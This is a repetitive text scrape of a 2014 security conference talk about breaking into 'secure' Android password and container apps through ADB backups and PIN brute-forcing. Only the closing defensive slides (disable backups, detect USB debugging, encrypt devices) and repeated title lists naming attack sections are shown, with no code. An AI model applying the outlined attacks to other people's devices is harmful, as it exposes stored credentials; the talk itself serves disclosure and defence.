  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 201: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 202: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 203: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 204: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 205: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
